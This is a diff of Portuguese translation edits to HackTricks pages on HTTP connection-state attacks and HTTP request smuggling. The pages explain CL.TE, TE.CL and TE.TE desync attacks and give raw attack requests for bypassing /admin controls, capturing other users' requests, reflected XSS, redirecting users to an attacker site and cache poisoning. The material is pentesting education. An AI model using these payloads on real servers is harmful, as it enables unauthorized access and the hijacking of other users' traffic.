Translated ['pentesting-web/http-connection-request-smuggling.md', 'pent

pentesting-web/http-connection-request-smuggling.md

@@ -7,29 +7,29 @@
 * Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
 * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
-**Este é um resumo do post [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)**
+**Este é um resumo do post** [**https://portswigger.net/research/browser-powered-desync-attacks**](https://portswigger.net/research/browser-powered-desync-attacks)
 
 ## Ataques de Estado de Conexão <a href="#state" id="state"></a>
 
 ### Validação do Primeiro Pedido
 
-Ao rotear solicitações, proxies reversos podem depender do **cabeçalho Host** para determinar o servidor de back-end de destino, muitas vezes confiando em uma lista branca de hosts que têm permissão de acesso. No entanto, existe uma vulnerabilidade em alguns proxies onde a lista branca é aplicada apenas na solicitação inicial em uma conexão. Consequentemente, os atacantes poderiam explorar isso fazendo primeiro uma solicitação a um host permitido e, em seguida, solicitando um site interno pela mesma conexão:
+Ao rotear solicitações, proxies reversos podem depender do **cabeçalho Host** para determinar o servidor de back-end de destino, muitas vezes confiando em uma lista branca de hosts que têm permissão de acesso. No entanto, uma vulnerabilidade existe em alguns proxies onde a lista branca é aplicada apenas na solicitação inicial em uma conexão. Consequentemente, os atacantes poderiam explorar isso fazendo primeiro uma solicitação a um host permitido e depois solicitando um site interno pela mesma conexão:
-```text
+```
 GET / HTTP/1.1
 Host: [allowed-external-host]
 
 GET / HTTP/1.1
 Host: [internal-host]
 ```
-### Roteamento de Primeira Requisição
+### Roteamento do Primeiro Pedido
 
-Em algumas configurações, um servidor front-end pode usar o **cabeçalho Host da primeira requisição** para determinar o roteamento do back-end para essa requisição e, em seguida, rotear persistentemente todas as requisições subsequentes da mesma conexão do cliente para a mesma conexão do back-end. Isso pode ser demonstrado como:
+Em algumas configurações, um servidor front-end pode usar o **cabeçalho Host do primeiro pedido** para determinar o roteamento do back-end para esse pedido e, em seguida, rotear persistentemente todos os pedidos subsequentes da mesma conexão do cliente para a mesma conexão do back-end. Isso pode ser demonstrado como:
-```text
+```
 GET / HTTP/1.1
 Host: example.com
 
@@ -42,7 +42,6 @@ Este problema pode ser potencialmente combinado com [ataques de cabeçalho de ho
 Para identificar essas vulnerabilidades, o recurso 'connection-state probe' no HTTP Request Smuggler pode ser utilizado.
 {% endhint %}
 
-
 <details>
 
 <summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
@@ -50,7 +49,7 @@ Para identificar essas vulnerabilidades, o recurso 'connection-state probe' no H
 * Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
 * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

pentesting-web/http-request-smuggling/README.md

@@ -10,14 +10,14 @@ Outras maneiras de apoiar o HackTricks:
 * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
 * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
 * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe suas dicas de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
+* **Compartilhe suas dicas de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>
 
 ## O que é
 
-Essa vulnerabilidade ocorre quando uma **desincronização** entre **proxies de front-end** e o **servidor de back-end** permite que um **atacante** envie uma **solicitação HTTP** que será **interpretada** como uma **única solicitação** pelos **proxies de front-end** (balanceador de carga/proxy reverso) e **como 2 solicitações** pelo **servidor de back-end**.\
+Essa vulnerabilidade ocorre quando uma **dessincronização** entre **proxies de front-end** e o **servidor de back-end** permite que um **atacante** envie uma **requisição HTTP** que será **interpretada** como uma **única requisição** pelos **proxies de front-end** (balanceador de carga/proxy reverso) e **como 2 requisições** pelo **servidor de back-end**.\
-Isso permite que um usuário **modifique a próxima solicitação que chega ao servidor de back-end depois da dele**.
+Isso permite que um usuário **modifique a próxima requisição que chega ao servidor de back-end depois da dele**.
 
 ### Teoria
 
@@ -27,7 +27,7 @@ Isso permite que um usuário **modifique a próxima solicitação que chega ao s
 
 **Content-Length**
 
-> O cabeçalho da entidade Content-Length indica o tamanho do corpo da entidade, em bytes, enviado ao destinatário.
+> O cabeçalho de entidade Content-Length indica o tamanho do corpo da entidade, em bytes, enviado ao destinatário.
 
 **Transfer-Encoding: chunked**
 
@@ -36,16 +36,16 @@ Isso permite que um usuário **modifique a próxima solicitação que chega ao s
 
 ### Realidade
 
-O **Front-End** (um balanceador de carga / Proxy Reverso) **processa** o cabeçalho _**content-length**_ ou o cabeçalho _**transfer-encoding**_ e o **servidor de Back-End** **processa o outro** provocando uma **desincronização** entre os 2 sistemas.\
+O **Front-End** (um balanceador de carga / Proxy Reverso) **processa** o cabeçalho _**content-length**_ ou o cabeçalho _**transfer-encoding**_ e o **servidor de Back-End** **processa o outro** provocando uma **dessincronização** entre os 2 sistemas.\
-Isso pode ser muito crítico, pois **um atacante poderá enviar uma solicitação** para o proxy reverso que será **interpretada** pelo **servidor de back-end como 2 solicitações diferentes**. O **perigo** dessa técnica reside no fato de que o **servidor de back-end interpretará a 2ª solicitação injetada** como se ela **viesse do próximo cliente** e a **solicitação real** desse cliente fará **parte** da **solicitação injetada**.
+Isso pode ser muito crítico, pois **um atacante poderá enviar uma requisição** para o proxy reverso que será **interpretada** pelo **servidor de back-end como 2 requisições diferentes**. O **perigo** dessa técnica reside no fato de que o **servidor de back-end interpretará a 2ª requisição injetada** como se ela **viesse do próximo cliente** e a **requisição real** desse cliente fará **parte** da **requisição injetada**.
 
 ### Particularidades
 
 Lembre-se de que no HTTP **um caractere de nova linha é composto por 2 bytes:**
 
-* **Content-Length**: Esse cabeçalho usa um **número decimal** para indicar o **número** de **bytes** do **corpo** da solicitação. O corpo é esperado para terminar no último caractere, **uma nova linha não é necessária no final da solicitação**.
+* **Content-Length**: Esse cabeçalho usa um **número decimal** para indicar o **número** de **bytes** do **corpo** da requisição. O corpo é esperado para terminar no último caractere, **uma nova linha não é necessária no final da requisição**.
-* **Transfer-Encoding:** Esse cabeçalho usa no **corpo** um **número hexadecimal** para indicar o **número** de **bytes** do **próximo chunk**. O **chunk** deve **terminar** com uma **nova linha**, mas essa nova linha **não é contada** pelo indicador de comprimento. Este método de transferência deve terminar com um **chunk de tamanho 0 seguido por 2 novas linhas**: `0`
+* **Transfer-Encoding:** Esse cabeçalho usa no **corpo** um **número hexadecimal** para indicar o **número** de **bytes** do **próximo chunk**. O **chunk** deve **terminar** com uma **nova linha**, mas essa nova linha **não é contada** pelo indicador de comprimento. Esse método de transferência deve terminar com um **chunk de tamanho 0 seguido por 2 novas linhas**: `0`
-* **Connection**: Com base em minha experiência, é recomendado usar **`Connection: keep-alive`** na primeira solicitação do Request Smuggling.
+* **Connection**: Com base em minha experiência, é recomendado usar **`Connection: keep-alive`** na primeira requisição do Request Smuggling.
 
 ## Exemplos Básicos
 
@@ -53,20 +53,20 @@ Lembre-se de que no HTTP **um caractere de nova linha é composto por 2 bytes:**
 Ao tentar explorar isso com o Burp Suite, **desative `Update Content-Length` e `Normalize HTTP/1 line endings`** no repeater porque alguns gadgets abusam de novas linhas, retornos de carro e comprimentos de conteúdo malformados.
 {% endhint %}
 
-Os ataques de desincronização de solicitação HTTP são elaborados enviando solicitações ambíguas que exploram discrepâncias na forma como os servidores de front-end e back-end interpretam os cabeçalhos `Content-Length` (CL) e `Transfer-Encoding` (TE). Esses ataques podem se manifestar de diferentes formas, principalmente como **CL.TE**, **TE.CL** e **TE.TE**. Cada tipo representa uma combinação única de como os servidores de front-end e back-end priorizam esses cabeçalhos. As vulnerabilidades surgem do processamento das mesmas solicitações pelos servidores de maneiras diferentes, levando a resultados inesperados e potencialmente maliciosos.
+Os ataques de desincronização de requisição HTTP são elaborados enviando requisições ambíguas que exploram discrepâncias na forma como os servidores de front-end e back-end interpretam os cabeçalhos `Content-Length` (CL) e `Transfer-Encoding` (TE). Esses ataques podem se manifestar em diferentes formas, principalmente como **CL.TE**, **TE.CL** e **TE.TE**. Cada tipo representa uma combinação única de como os servidores de front-end e back-end priorizam esses cabeçalhos. As vulnerabilidades surgem do processamento das mesmas requisições pelos servidores de maneiras diferentes, levando a resultados inesperados e potencialmente maliciosos.
 
-### Exemplos Básicos de Tipos de Vulnerabilidade
+### Exemplos Básicos de Tipos de Vulnerabilidades
 
 ![https://twitter.com/SpiderSec/status/1200413390339887104?ref\_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104\&ref\_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../.gitbook/assets/EKi5edAUUAAIPIK.jpg)
 
 #### Vulnerabilidade CL.TE (Content-Length usado pelo Front-End, Transfer-Encoding usado pelo Back-End)
 
-* **Front-End (CL):** Processa a solicitação com base no cabeçalho `Content-Length`.
+* **Front-End (CL):** Processa a requisição com base no cabeçalho `Content-Length`.
-* **Back-End (TE):** Processa a solicitação com base no cabeçalho `Transfer-Encoding`.
+* **Back-End (TE):** Processa a requisição com base no cabeçalho `Transfer-Encoding`.
 * **Cenário de Ataque:**
-* O atacante envia uma solicitação em que o valor do cabeçalho `Content-Length` não corresponde ao comprimento real do conteúdo.
+* O atacante envia uma requisição onde o valor do cabeçalho `Content-Length` não corresponde ao comprimento real do conteúdo.
-* O servidor de front-end encaminha a solicitação inteira para o back-end, com base no valor de `Content-Length`.
+* O servidor de front-end encaminha a requisição inteira para o back-end, com base no valor de `Content-Length`.
-* O servidor de back-end processa a solicitação como chunked devido ao cabeçalho `Transfer-Encoding: chunked`, interpretando os dados restantes como uma solicitação separada e subsequente.
+* O servidor de back-end processa a requisição como chunked devido ao cabeçalho `Transfer-Encoding: chunked`, interpretando os dados restantes como uma requisição separada e subsequente.
 *   **Exemplo:**
 
 ```
@@ -84,12 +84,12 @@ Foo: x
 
 #### Vulnerabilidade TE.CL (Transfer-Encoding usado pelo Front-End, Content-Length usado pelo Back-End)
 
-* **Front-End (TE):** Processa a solicitação com base no cabeçalho `Transfer-Encoding`.
+* **Front-End (TE):** Processa a requisição com base no cabeçalho `Transfer-Encoding`.
-* **Back-End (CL):** Processa a solicitação com base no cabeçalho `Content-Length`.
+* **Back-End (CL):** Processa a requisição com base no cabeçalho `Content-Length`.
 * **Cenário de Ataque:**
-* O atacante envia uma solicitação chunked em que o tamanho do chunk (`7b`) e o comprimento real do conteúdo (`Content-Length: 4`) não se alinham.
+* O atacante envia uma requisição chunked onde o tamanho do chunk (`7b`) e o comprimento real do conteúdo (`Content-Length: 4`) não se alinham.
-* O servidor de front-end, respeitando `Transfer-Encoding`, encaminha a solicitação inteira para o back-end.
+* O servidor de front-end, respeitando `Transfer-Encoding`, encaminha a requisição inteira para o back-end.
-* O servidor de back-end, respeitando `Content-Length`, processa apenas a parte inicial da solicitação (`7b` bytes), deixando o restante como parte de uma solicitação subsequente não intencional.
+* O servidor de back-end, respeitando `Content-Length`, processa apenas a parte inicial da requisição (`7b` bytes), deixando o restante como parte de uma subsequente requisição não intencional.
 *   **Exemplo:**
 
 ```
@@ -111,12 +111,12 @@ x=
 ```
 #### Vulnerabilidade TE.TE (Transfer-Encoding usado por ambos, com obfuscação)
 
-- **Servidores:** Ambos suportam `Transfer-Encoding`, mas um pode ser enganado para ignorá-lo por meio de obfuscação.
+- **Servidores:** Ambos suportam `Transfer-Encoding`, mas um pode ser enganado para ignorá-lo através de obfuscação.
 - **Cenário de Ataque:**
-  - O atacante envia uma solicitação com cabeçalhos de `Transfer-Encoding` obfuscados.
+- O atacante envia uma solicitação com cabeçalhos de `Transfer-Encoding` obfuscados.
-  - Dependendo de qual servidor (front-end ou back-end) falha em reconhecer a obfuscação, uma vulnerabilidade CL.TE ou TE.CL pode ser explorada.
+- Dependendo de qual servidor (front-end ou back-end) falha em reconhecer a obfuscação, uma vulnerabilidade CL.TE ou TE.CL pode ser explorada.
-  - A parte não processada da solicitação, conforme vista por um dos servidores, torna-se parte de uma solicitação subsequente, levando ao contrabando.
+- A parte não processada da solicitação, conforme vista por um dos servidores, torna-se parte de uma solicitação subsequente, levando ao contrabando.
-- **Exemplo:**
+-   **Exemplo:**
 
 ```
 POST / HTTP/1.1
@@ -135,11 +135,11 @@ Transfer-Encoding
 : chunked
 ```
 
-#### **Cenário CL.CL (Content-Length usado por ambos Front-End e Back-End):**
+#### **Cenário CL.CL (Content-Length usado por ambos, Front-End e Back-End):**
 
 - Ambos os servidores processam a solicitação com base exclusivamente no cabeçalho `Content-Length`.
-- Este cenário geralmente não leva ao contrabando, pois há alinhamento na forma como ambos os servidores interpretam o comprimento da solicitação.
+- Este cenário geralmente não leva ao contrabando, pois há alinhamento na interpretação do comprimento da solicitação por ambos os servidores.
-- **Exemplo:**
+-   **Exemplo:**
 
 ```
 POST / HTTP/1.1
@@ -152,9 +152,9 @@ Solicitação Normal
 
 #### **Cenário CL != 0:**
 
-- Refere-se a cenários em que o cabeçalho `Content-Length` está presente e tem um valor diferente de zero, indicando que o corpo da solicitação contém conteúdo.
+- Refere-se a cenários em que o cabeçalho `Content-Length` está presente e tem um valor diferente de zero, indicando que o corpo da solicitação possui conteúdo.
 - É crucial para entender e elaborar ataques de contrabando, pois influencia como os servidores determinam o final de uma solicitação.
-- **Exemplo:**
+-   **Exemplo:**
 
 ```
 POST / HTTP/1.1
@@ -179,7 +179,7 @@ Para **mais informações sobre cabeçalhos hop-by-hop** visite:
 
 ## Encontrando HTTP Request Smuggling
 
-A identificação de vulnerabilidades de HTTP request smuggling pode frequentemente ser alcançada usando técnicas de temporização, que dependem de observar quanto tempo o servidor leva para responder a solicitações manipuladas. Essas técnicas são particularmente úteis para detectar vulnerabilidades CL.TE e TE.CL. Além desses métodos, existem outras estratégias e ferramentas que podem ser usadas para encontrar tais vulnerabilidades:
+A identificação de vulnerabilidades de HTTP request smuggling frequentemente pode ser alcançada utilizando técnicas de temporização, que dependem de observar quanto tempo o servidor leva para responder a solicitações manipuladas. Essas técnicas são particularmente úteis para detectar vulnerabilidades CL.TE e TE.CL. Além desses métodos, existem outras estratégias e ferramentas que podem ser usadas para encontrar tais vulnerabilidades:
 
 ### Encontrando Vulnerabilidades CL.TE Usando Técnicas de Temporização
 
@@ -223,12 +223,12 @@ X
 ```
 * **Observação:**
 * O servidor front-end processa a solicitação com base no `Transfer-Encoding` e encaminha a mensagem inteira.
-* O servidor back-end, esperando uma mensagem com base no `Content-Length`, aguarda dados adicionais que nunca chegam, causando um atraso.
+* O servidor back-end, esperando uma mensagem com base no `Content-Length`, aguarda por dados adicionais que nunca chegam, causando um atraso.
 
 ### Outros Métodos para Encontrar Vulnerabilidades
 
 * **Análise Diferencial de Resposta:**
-* Enviar versões ligeiramente variadas de uma solicitação e observar se as respostas do servidor diferem de maneira inesperada, indicando uma discrepância de análise.
+* Enviar versões ligeiramente variadas de uma solicitação e observar se as respostas do servidor diferem de maneira inesperada, indicando uma discrepância na análise.
 * **Usando Ferramentas Automatizadas:**
 * Ferramentas como a extensão 'HTTP Request Smuggler' do Burp Suite podem testar automaticamente essas vulnerabilidades enviando várias formas de solicitações ambíguas e analisando as respostas.
 * **Testes de Variação de Content-Length:**
@@ -246,17 +246,15 @@ Ao testar vulnerabilidades de request smuggling interferindo em outras solicita
 
 * **Conexões de Rede Distintas:** As solicitações "de ataque" e "normais" devem ser enviadas por conexões de rede separadas. Utilizar a mesma conexão para ambas não valida a presença da vulnerabilidade.
 * **URL e Parâmetros Consistentes:** Procure usar URLs e nomes de parâmetros idênticos para ambas as solicitações. Aplicações modernas frequentemente roteiam solicitações para servidores back-end específicos com base no URL e parâmetros. Correspondendo a esses aumenta a probabilidade de que ambas as solicitações sejam processadas pelo mesmo servidor, um requisito para um ataque bem-sucedido.
-* **Temporização e Condições de Corrida:** A solicitação "normal", destinada a detectar interferência da solicitação "de ataque", compete contra outras solicitações de aplicativos concorrentes. Portanto, envie a solicitação "normal" imediatamente após a solicitação "de ataque". Aplicações ocupadas podem exigir várias tentativas para confirmar a vulnerabilidade de forma conclusiva.
+* **Temporização e Condições de Corrida:** A solicitação "normal", destinada a detectar interferência da solicitação "de ataque", compete com outras solicitações de aplicativos concorrentes. Portanto, envie a solicitação "normal" imediatamente após a solicitação "de ataque". Aplicações ocupadas podem exigir várias tentativas para confirmar a vulnerabilidade de forma conclusiva.
 * **Desafios de Balanceamento de Carga:** Servidores front-end atuando como balanceadores de carga podem distribuir solicitações entre vários sistemas back-end. Se as solicitações "de ataque" e "normais" acabarem em sistemas diferentes, o ataque não terá sucesso. Este aspecto de balanceamento de carga pode exigir várias tentativas para confirmar uma vulnerabilidade.
-* **Impacto Não Intencional no Usuário:** Se seu ataque impactar inadvertidamente a solicitação de outro usuário (não a solicitação "normal" enviada para detecção), isso indica que seu ataque influenciou outro usuário do aplicativo. Testes contínuos podem perturbar outros usuários, exigindo uma abordagem cautelosa.
+* **Impacto Não Intencional no Usuário:** Se seu ataque impactar inadvertidamente a solicitação de outro usuário (não a solicitação "normal" que você enviou para detecção), isso indica que seu ataque influenciou outro usuário do aplicativo. Testes contínuos podem perturbar outros usuários, exigindo uma abordagem cautelosa.
 
 ## Abusando do HTTP Request Smuggling
 
-### Para contornar controles de segurança front-end
-
 ### Contornando a Segurança Front-End via HTTP Request Smuggling
 
-Às vezes, proxies front-end impõem medidas de segurança, examinando as solicitações recebidas. No entanto, essas medidas podem ser contornadas explorando o HTTP Request Smuggling, permitindo acesso não autorizado a endpoints restritos. Por exemplo, acessar `/admin` pode ser proibido externamente, com o proxy front-end bloqueando ativamente tais tentativas. No entanto, esse proxy pode negligenciar inspecionar solicitações incorporadas dentro de uma solicitação HTTP contrabandeada, deixando uma brecha para contornar essas restrições.
+Às vezes, proxies front-end aplicam medidas de segurança, analisando as solicitações recebidas. No entanto, essas medidas podem ser contornadas explorando o HTTP Request Smuggling, permitindo acesso não autorizado a endpoints restritos. Por exemplo, acessar `/admin` pode ser proibido externamente, com o proxy front-end bloqueando ativamente tais tentativas. No entanto, esse proxy pode negligenciar inspecionar solicitações incorporadas dentro de uma solicitação HTTP contrabandeada, deixando uma brecha para contornar essas restrições.
 
 Considere os exemplos a seguir ilustrando como o HTTP Request Smuggling pode ser usado para contornar controles de segurança front-end, visando especificamente o caminho `/admin` que geralmente é protegido pelo proxy front-end:
 
@@ -277,7 +275,7 @@ Content-Length: 10
 
 x=
 ```
-No ataque CL.TE, o cabeçalho `Content-Length` é utilizado para a requisição inicial, enquanto a requisição incorporada subsequente utiliza o cabeçalho `Transfer-Encoding: chunked`. O proxy de front-end processa a requisição `POST` inicial, mas falha em inspecionar a requisição `GET /admin` incorporada, permitindo acesso não autorizado ao caminho `/admin`.
+No ataque CL.TE, o cabeçalho `Content-Length` é utilizado para a requisição inicial, enquanto a requisição embutida subsequente utiliza o cabeçalho `Transfer-Encoding: chunked`. O proxy de front-end processa a requisição `POST` inicial, mas falha em inspecionar a requisição `GET /admin` embutida, permitindo acesso não autorizado ao caminho `/admin`.
 
 **Exemplo TE.CL**
 ```
@@ -295,7 +293,7 @@ a=x
 0
 
 ```
-Por outro lado, no ataque TE.CL, a solicitação `POST` inicial usa `Transfer-Encoding: chunked`, e a solicitação incorporada subsequente é processada com base no cabeçalho `Content-Length`. Semelhante ao ataque CL.TE, o proxy de front-end ignora a solicitação `GET /admin` contrabandeada, concedendo inadvertidamente acesso ao caminho restrito `/admin`.
+Por outro lado, no ataque TE.CL, o pedido `POST` inicial usa `Transfer-Encoding: chunked`, e o pedido incorporado subsequente é processado com base no cabeçalho `Content-Length`. Semelhante ao ataque CL.TE, o proxy de front-end ignora o pedido `GET /admin` contrabandeado, concedendo inadvertidamente acesso ao caminho restrito `/admin`.
 
 ### Revelando a reescrita de solicitação de front-end <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
 
@@ -320,9 +318,9 @@ search=
 ```
 Nesta estrutura, os componentes de solicitação subsequentes são anexados após `search=`, que é o parâmetro refletido na resposta. Essa reflexão exporá os cabeçalhos da solicitação subsequente.
 
-É importante alinhar o cabeçalho `Content-Length` da solicitação aninhada com o comprimento real do conteúdo. Começar com um valor pequeno e incrementar gradualmente é aconselhável, pois um valor muito baixo truncará os dados refletidos, enquanto um valor muito alto pode fazer com que a solicitação apresente erro.
+É importante alinhar o cabeçalho `Content-Length` da solicitação aninhada com o comprimento real do conteúdo. Começar com um valor pequeno e aumentar gradualmente é aconselhável, pois um valor muito baixo truncará os dados refletidos, enquanto um valor muito alto pode fazer com que a solicitação apresente erro.
 
-Essa técnica também é aplicável no contexto de uma vulnerabilidade TE.CL, mas a solicitação deve ser encerrada com `search=\r\n0`. Independentemente dos caracteres de nova linha, os valores serão anexados ao parâmetro de pesquisa.
+Essa técnica também é aplicável no contexto de uma vulnerabilidade TE.CL, mas a solicitação deve terminar com `search=\r\n0`. Independentemente dos caracteres de nova linha, os valores serão anexados ao parâmetro de pesquisa.
 
 Este método serve principalmente para entender as modificações de solicitação feitas pelo proxy de front-end, essencialmente realizando uma investigação autodirigida.
 
@@ -356,12 +354,12 @@ No entanto, essa técnica tem limitações. Geralmente, ela captura dados apenas
 
 Além disso, vale ressaltar que essa abordagem também é viável com uma vulnerabilidade TE.CL. Em tais casos, a solicitação deve ser concluída com `search=\r\n0`. Independentemente dos caracteres de nova linha, os valores serão anexados ao parâmetro de pesquisa.
 
-### Usando o contrabando de solicitação HTTP para explorar XSS refletido
+### Usando contrabando de solicitação HTTP para explorar XSS refletido
 
 O Contrabando de Solicitação HTTP pode ser aproveitado para explorar páginas da web vulneráveis a **XSS Refletido**, oferecendo vantagens significativas:
 
 * A interação com os usuários-alvo **não é necessária**.
-* Permite a exploração de XSS em partes da solicitação que são **normalmente inacessíveis**, como os cabeçalhos de solicitação HTTP.
+* Permite a exploração de XSS em partes da solicitação que são **normalmente inatingíveis**, como os cabeçalhos de solicitação HTTP.
 
 Em cenários em que um site é suscetível a XSS Refletido por meio do cabeçalho User-Agent, a carga útil a seguir demonstra como explorar essa vulnerabilidade:
 ```
@@ -384,16 +382,14 @@ Content-Type: application/x-www-form-urlencoded
 
 A=
 ```
-Este payload é estruturado para explorar a vulnerabilidade através de:
+Este payload é estruturado para explorar a vulnerabilidade da seguinte forma:
 
-1. Iniciar uma solicitação `POST`, aparentemente típica, com um cabeçalho `Transfer-Encoding: chunked` para indicar o início do smuggling.
+1. Iniciando uma solicitação `POST`, aparentemente típica, com um cabeçalho `Transfer-Encoding: chunked` para indicar o início do smuggling.
-2. Seguir com um `0`, marcando o final do corpo da mensagem chunked.
+2. Seguindo com um `0`, marcando o final do corpo da mensagem chunked.
-3. Em seguida, é introduzida uma solicitação `GET` contrabandeada, onde o cabeçalho `User-Agent` é injetado com um script, `<script>alert(1)</script>`, desencadeando o XSS quando o servidor processa essa solicitação subsequente.
+3. Em seguida, é introduzida uma solicitação `GET` contrabandeada, onde o cabeçalho `User-Agent` é injetado com um script, `<script>alert(1)</script>`, acionando o XSS quando o servidor processa essa solicitação subsequente.
 
 Ao manipular o `User-Agent` através do smuggling, o payload contorna as restrições normais da solicitação, explorando assim a vulnerabilidade de XSS Refletido de uma maneira não convencional, mas eficaz.
 
-### Usando o HTTP request smuggling para transformar um redirecionamento no local em um redirecionamento aberto <a href="#using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect" id="using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect"></a>
-
 ### Explorando Redirecionamentos no Local com HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
 
 As aplicações frequentemente redirecionam de uma URL para outra usando o nome do host do cabeçalho `Host` na URL de redirecionamento. Isso é comum em servidores web como Apache e IIS. Por exemplo, solicitar uma pasta sem uma barra final resulta em um redirecionamento para incluir a barra:
@@ -406,7 +402,7 @@ Resultados em:
 HTTP/1.1 301 Moved Permanently
 Location: https://normal-website.com/home/
 ```
-Embora aparentemente inofensivo, esse comportamento pode ser manipulado usando o contrabando de solicitações HTTP para redirecionar usuários para um site externo. Por exemplo:
+Embora aparentemente inofensivo, esse comportamento pode ser manipulado usando o smuggling de solicitação HTTP para redirecionar usuários para um site externo. Por exemplo:
 ```
 POST / HTTP/1.1
 Host: vulnerable-website.com
@@ -420,7 +416,7 @@ GET /home HTTP/1.1
 Host: attacker-website.com
 Foo: X
 ```
-Este pedido contrabandeado poderia fazer com que o próximo pedido de usuário processado seja redirecionado para um site controlado pelo atacante:
+Esta solicitação contrabandeada poderia fazer com que a próxima solicitação de usuário processada seja redirecionada para um site controlado pelo atacante:
 ```
 GET /home HTTP/1.1
 Host: attacker-website.com
@@ -432,17 +428,17 @@ Resultados em:
 HTTP/1.1 301 Moved Permanently
 Location: https://attacker-website.com/home/
 ```
-### Usando o contrabando de solicitação HTTP para realizar envenenamento de cache web <a href="#using-http-request-smuggling-to-perform-web-cache-poisoning" id="using-http-request-smuggling-to-perform-web-cache-poisoning"></a>
+Neste cenário, a solicitação de um usuário para um arquivo JavaScript é sequestrada. O atacante pode potencialmente comprometer o usuário servindo JavaScript malicioso em resposta.
 
-### Explorando o Envenenamento de Cache Web via Contrabando de Solicitação HTTP <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
+### Explorando a Poluição de Cache da Web via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
 
-O envenenamento de cache web pode ser executado se algum componente da **infraestrutura de front-end armazenar em cache conteúdo**, geralmente para melhorar o desempenho. Ao manipular a resposta do servidor, é possível **envenenar o cache**.
+A poluição de cache da web pode ser executada se algum componente da **infraestrutura de front-end armazenar em cache conteúdo**, normalmente para melhorar o desempenho. Ao manipular a resposta do servidor, é possível **poluir o cache**.
 
 Anteriormente, observamos como as respostas do servidor poderiam ser alteradas para retornar um erro 404 (consulte [Exemplos Básicos](./#basic-examples)). Da mesma forma, é viável enganar o servidor para entregar o conteúdo `/index.html` em resposta a uma solicitação para `/static/include.js`. Consequentemente, o conteúdo `/static/include.js` é substituído no cache pelo de `/index.html`, tornando o `/static/include.js` inacessível aos usuários, potencialmente levando a uma Negação de Serviço (DoS).
 
